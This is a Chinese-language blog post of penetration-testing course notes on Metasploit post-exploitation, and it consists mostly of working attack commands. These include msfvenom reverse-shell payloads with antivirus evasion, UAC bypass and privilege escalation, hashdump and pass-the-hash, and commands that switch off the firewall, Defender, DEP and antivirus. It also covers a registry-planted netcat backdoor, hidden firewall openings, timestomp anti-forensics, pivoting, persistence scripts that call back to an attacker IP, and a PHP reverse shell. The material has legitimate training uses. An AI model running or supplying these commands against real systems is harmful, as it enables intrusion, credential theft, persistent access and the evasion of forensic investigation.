Kali Linux滲透測試——MSF實戰篇(二)

Kali Linux滲透測試——MSF實戰篇(二)

筆記內容參考安全牛苑房弘老師的Kali Linux滲透測試教程

基於已經獲得目標系統控制權後擴大攻擊效果

  • 提權
  • 信息收集
  • 滲透內網
  • 永久後門

後滲透階段可以做的大量工作,很大程度上取決於meterpreter/shell的強大功能

一、基於已有session提權

首先進入meterpreter/shell,誘使攻擊目標訪問構造程序後,即反彈shell

msfvenom -a x64 --platform windows -p windows/shell/reverse_tcp LHOST=10.10.11.151 LPORT=4444 -b "\x00" -e x86/shikata -i 9 -f exe -o 1.exe

拿到metepreter shell後提權
注意:用msfvenom構造的windows/meterpreter/reverse_shell默認是x86架構,windows/x64/meterpreter/reverse_shell是x64架構

load priv
getsystem           

此時若顯示Operation failed:Access is denied,則一般是因爲UAC,接下來繞過UAC限制

UAC(User Account Control,用戶帳戶控制)是微軟爲提高系統安全而在Windows Vista之後的系統引入的新技術,它要求用戶在執行可能會影響計算機運行的操作或執行更改影響其他用戶的設置的操作之前,提供權限

local目錄中的模塊主要針對已獲取的session

#方法一:
use exploit/windows/local/ask       
set session
set filename
run                                 #UAC會詢問是否接受未知程序,如果選擇是,則通過UAC許可

#方法二:
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
set session
set payload
run
#隨後在生成的shell中提權
getsystem
getuid               #可以看見提升爲系統用戶

只有管理用戶組中的成員繞過UAC後才能提權,普通用戶即便是繞過了UAC,一樣無法提權到system,此時要利用漏洞直接提權爲system。

use exploit/windows/local/ms13_053_schlamlperei
set payload/RHSOTS/session
run                                 #此時getuid可以看到直接就是system權限

use exploit/windows/local/ms13_081_track_popup_menu
set payload/RHSOTS/session
run

#也可以使用圖形化payload,可以監視攻擊目標的桌面(注意這個payload並不是所有模塊都能使用,ms13_053_schlamlperei可以使用)
set payload windows/vncinject/reverse_tcp   
#如果要操作攻擊者的桌面,要修改參數viewonly爲no                         

VNC和遠程桌面都能實現遠程控制,不同的是:VNC使用RFB協議(C/S架構5900端口,B/S架構5800端口),遠程桌面使用RDP協議(3389端口)

二、提權後進一步操作

1.密碼獲取與登錄
#在具備系統權限的shell中運行hashdump模塊
run post/windows/gather/hashdump           
#在得到哈希值後,可以用passthehash,根據哈希值直接登錄用戶
#passthehash在metasploit中也有專用模塊
use exploit/windows/smb/psexec
set SMBUser
set SMBPass xxx:xxx(hash值)
set payload windows/meterpreter/reverse_tcp
run            #失敗則可能是由於UAC(Command=17,woedCount=0)

#可以利用已經獲取的session運行遠程命令,關掉UAC
#關掉UAC的命令
cmd.exe /k %windir%\System32\reg.exe ADD
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
cmd.exe /k %windir%\System32\reg.exe ADD HKLM\SOFRWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
2.關閉安全措施(在攻擊目標系統shell下執行)
#關閉防火牆,需要管理員或者system權限
netsh advfirewall set allprofiles state on/off

#關閉windedfend
net stop windefend 

#Bitlocker磁盤加密
manage-bde -off C:
manage-bde -status C: 

#關閉DEP
bcdedit.exe /set {current} nx AlwaysOff   

#meterpreter中殺死常見病毒軟件
run killav
#其他方法
run post/windows/manage/killav

3.開啓遠程桌面
#開啓遠程桌面服務
run post/windows/manage/enable_rdp
#其他方法
run getgui -e

#查看遠程桌面
screenshot        #meterpreter中的截屏命令
use/load espia    #meterpreter中use和load是一樣的
screengrub        #espia插件中的截屏命令
4.關於Token
#用戶每次登陸時,賬號綁定臨時的Token,訪問資源時提交Token進行身份驗證
Delegate Token:交互登陸會話
Impersonate Token:非交互登陸會話
Delegate Token註銷後變爲Impersonate Token,權限依然有效

#Incognito
獨立功能的軟件,被MSF集成在meterpreter中,無需密碼破解或者獲取HASH,竊取Toke將自己僞裝成其他用戶,尤其適用於域環境下提權滲透多操作系統
5.修改註冊表,預置後門(meterpreter)

註冊表保存了windows幾乎全部配置參數,配置不當會導致系統崩潰,修改前要備份註冊表,某些配置是不可逆的。常見用途包括:

  • 修改增加啓動項
  • 竊取存儲於註冊表中的機密信息
  • 繞過文件型病毒查殺

用註冊表添加NC後門服務(meterpreter),重啓後始終有效

#上傳nc木馬程序到目標主機
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32

#枚舉當前註冊表中鍵值
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

#增加鍵值,然後可以通過再次枚舉鍵值確認配置是否修改成功
reg setval -k HKLM\\sofrware\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe'

#通過簡單nc命令就能得到shell
nc 10.10.11.122 444
6.打開防火牆端口(meterpreter)

在現有防火牆策略中增加一條策略,而不是完全關掉防火牆,這樣隱蔽性更好

execute -f cmd -i -H        #執行cmd,將其隱藏並與其交互
netsh firewall show opmode  #查看防火牆運行狀態
netsh firewall add portopening TCP 444 "test" ENABLE ALL #增加策略(名字可以起的隱蔽些)

#然後必須重啓策略才能執行
7.抓包(meterpreter)
load sniffer
sniffer_interfaces   #顯示可選網卡
sniffer_start 2      #選擇抓包網卡

#sniffer在內存緩存區循環存儲抓包(50000包),不寫硬盤,所以要及時將抓到的包dump出來
sniffer_dump 2 1.cap /sniffer_dump 2 1.cap

#sniffer模塊可以智能過濾meterpreter流量,只抓目標主機的流量包,而且抓包傳輸全程使用SSL/TLS加密

抓包後可以用wireshark、burp等工具進行分析,也可以用psnuffle模塊直接抓取密碼

8.搜索文件(meterpreter)
search -f *.ini
search -d c:\\documents\ and\ settings\\administrator\\desktop\\ -f *.docx
9.破解弱口令(meterpreter)
#首先要得到弱密碼文檔
use post/windows/gather/hashdump
run

#自動針對收集的hash值進行弱口令破解
use auxiliary/analyze/jtr_crack_fast
run
10.修改MAC時間(meterpreter)

在滲透攻擊時,文件系統訪問會留下痕跡,電子取證重點關注,最好的避免被電子取證發現的方法:不要碰文件系統。而meterpreter的優勢就在此,它完全基於內存,所以不會留下痕跡。

最直接的取證爲MAC時間(Modified/Accessed/Changed),按照MAC時間很容易查找出新增加的非授權文件
注意:Modified指對文件內容做修改,Changed指對文件屬性、權限做修改

ls -l --time=atime/ctime 1.txt   #ls -l默認顯示的時間是mtime
stat 1.txt                       #一次性列出三個時間                   
touch -d "2 days ago" 1.txt      #修改atime和mtime
touch -t 1501010101   1.txt      #修改atime和mtime,格式爲:“年月日時分”

關於MACE時間,其中的的E表示: MFT entry

MFT:NTFS文件系統的主文件分配表Master File Table,通常1024字節或2個硬盤扇區,在硬盤的頭部,存放了多項entry信息,包含文件大量信息(大小、名稱、目錄位置、磁盤位置、創建時間)

timestomp -v 1.txt        #顯示MACE四個時間
timestomp -f c:\\autoexec.bat 1.txt   #以autoexec.bat爲模板,將時間寫入1.txt,同步MACE四個時間
timestomp -m/a/c/e/z "xx/xx/xx xx:xx:xx" 1.txt #修改指定時間  
timestomp  -b -r          #參數可將時間修改爲空白或者隨機

三、真實複雜環境下滲透測試

1.Pivoting跳板/樞紐/支點

實際的攻擊場景通常如下,攻擊者通過互聯網,對遠程攻擊目標進行掃描,蒐集可利用信息,然後鎖定攻擊目標(具有公網ip),穿越過攻擊目標的防火牆,繞過安全軟件,利用各種方法拿到攻擊目標shell,最後滲透至內網其他主機,進行設防、預製木馬。

在這裏插入圖片描述

圖1 滲透攻擊場景

利用已經控制的一臺計算機作爲入侵內網的跳板,在內網其他主機看來訪問全部來自於跳板機,從而達到攻擊的隱蔽性。環境搭建:

  • 防火牆設置雙網卡
  • NAT配置
  • 拿到meterpreter shell

然後進行內網滲透
(1)通過路由方式實現
設置自動路由

run autoroute -s 2.1.1.0/24         

#這樣發往內網攻擊目標的信息,都會通過已有session發到跳板機,然後再轉發至內網;
#而內網主機上發往跳板機的信息,都會通過已有session發往攻擊機外網IP

use auxiliary/scanner/portscan/tcp  #如果內網主機可以被掃描出,則說明路由有效

然後設置反彈meterpreter到攻擊目標主機

#仍以ms08_067漏洞爲例
set exploit/windows/smb/ms08_067_netapi
set RHOST 2.1.1.14     #攻擊目標內網主機IP
set LHOST 2.1.1.10     #攻擊目標網段跳板機IP
set payload windows/meterpreter/reverse_tcp
run

(2)通過端口轉發方式實現
在已經建立meterpreter shell的基礎上,利用已被控制的計算機,在kali與攻擊目標之間實現端口轉發

#在本機(LIP)的端口(LPORT)和攻擊目標(RIP)端口(RPORT)之間建立一條隧道
portfwd add -L LIP -l LPORT -r RIP -p RPORT
portfwd add -L 1.1.1.10 -l 445 -r 2.1.1.14 -p 3389
portfwd list / delete / flush  #delete具體刪除一條規則,flush是刪除所有規則
2.Post模塊

Post模塊主要用作在已經控制攻擊目標的前提下,進一步擴大攻擊效果

方法一:
在已經取得meterpreter shell的基礎上進行run,後跟參數配置

set exitonsession false   #當有目標連接攻擊機開放的端口時,偵聽的端口不會關閉

#掃描10.10.11.1/24網段的主機
run post/windows/gather/arp_scanner RHOSTS=10.10.11.1/24

#查看目標主機是否是虛擬機
run post/windows/gather/checkvm

#查看token
run post/windows/gather/credentials/credential_collertor

#查看攻擊目標裝的軟件
run post/windows/gather/enum_applications

#查看目前登陸的用戶
run post/windows/gather/enum_logger_on_users

#查看snmp配置
run post/windows/gather/enum_snmp

#基於meterpreter session,檢測目標可能使用的提升權限的模塊
run post/multi/recon/local_exploit_suggester

#刪除賬號
run post/windows/manage/delete_user USERNAME=yuanth

#瞭解當前系統環境變量信息
run post/multi/gather/env

#獲取ssh登錄的驗證信息
run post/multi/gather/ssh_creds

方法二:
使用meterpreter的自動執行腳本
在advanced options中有autorunscript參數

#剛取得meterpreter立即遷移pid
set AutoRunScript migrate -N explorer.exe

#收集攻擊目標最近下載的文檔
set AutoRunScript run post/windows/gather/dumplinks

#AutoRunScript每次只能執行一句命令
#如果要運行兩句指令則需要用到:InitialAutoRunScript模塊
set InitialAutoRunScript migrate -N explorer.exe
set set AutoRunScript run post/windows/gather/dumplinks

#執行meterpreter腳本,更改域名解析
run hostedit -e 1.1.1.1 www.baidu.com

方法三:
進入post模塊,set相應參數,然後run,用法同其他模塊。

3.持久後門

利用漏洞取得的meterpreter shell運行於內存中,優勢是不容易被發現,劣勢是重啓後失效,而且重複exploit漏洞可能造成服務崩潰因此拿到meterpreter shell後要儘快固定shell,使其變爲持久性後門。

方法一:

run metsvc        #獲取系統權限後,在目標主機上自動啓動metsvc服務,默認端口爲31337,在模塊界面沒法修改,只能在ruby文件中修改

use exploit/multi/handler
set PAYLOAD windows/metsvc_bind_tcp    
set LPORT 31337
set RHOST 1.1.1.1

注意bind和reverse的區別: bind_shell是在目標主機上運行的shell;reverse_shell是目標主機反彈的shell,運行在攻擊機上

方法二:

run persistence -X -i 10 -p 4444 -r 1.1.1.1  #系統重啓時反彈shell
run persistence -U -i 20 -p 4444 -r 1.1.1.1  #用戶登錄時反彈shell
run persistence -S -i 20 -p 4444 -r 1.1.1.1  #系統重啓時以系統權限運行服務

set payload windows/meterpreter/reverse_tcp
set LPORT 4444
set exitonsession false
exploit -j -z

方法三:
植入木馬,修改註冊表,前述已討論。

4.MSF擴展

(1)PHP shell(其他文件也可以編寫)

msfvenom -p php/meterpreter/reverse_rcp LHOST=1.1.1.1 LPORT=3333 -f raw -o a.php

#msf啓動偵聽,將a.php上傳至目標主機,然後訪問a.php文件就會反彈shell

(2)RFI遠程文件包含
爲配置實驗環境,首先要將攻擊目標中php配置文件修改,

vim /etc/php5/cgi/php.ini      #將其中兩項設置爲On
allow_url_fopen = On
allow_url_include = On  

然後進行遠程包含漏洞攻擊

use exploit/unix/webapp/php_include
set RHOST 1.1.1.2
set PATH /dvwa/vulnerabilities/fi/
set PHPURI /?page=XXpathXX       #XXpathXX形式不變,php_include會將其設置爲payload的地址
set HEADERS "Cookie:security=low;PHPSESSID=eeasdaefeasda3sd87f87"
set payload php/meterpreter/reverse_tcp
set lhost 1.1.1.1
exploit
5.社會工程學

通過人的交流,使用欺騙僞裝等手段繞過安全機制實現入侵的非技術手段

(1)社會工程學攻擊的四個階段

  • 研究:信息收集(WEB、媒體、垃圾桶、物理),確定並研究目標人
  • 鉤子:與目標建立第一次交談(Hook、下套)
  • 下手:與目標建立信任並獲取信息
  • 退場:不引起目標懷疑的離開攻擊現場

(2)類型
基於人的社工

  • 僞造身份
  • 偷聽、竊聽
  • 反社工
  • 垃圾桶工程

基於計算機的社工

  • 彈出窗口
  • 內部網絡攻擊
  • 釣魚郵件
  • 短信詐騙

(3)工具

  • SEToolKit集成化社工工具,大部分運行Metasploit功能

常見模塊功能(動態更新)

msf功能實用強大且更新速度快,下面記錄在實戰學習中用到的一些模塊的基本介紹:

1. windows/rdp/cve_2019_0708_bluekeep_rce           #利用bluekeep漏洞進行攻擊(易導致目標主機藍屏)
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章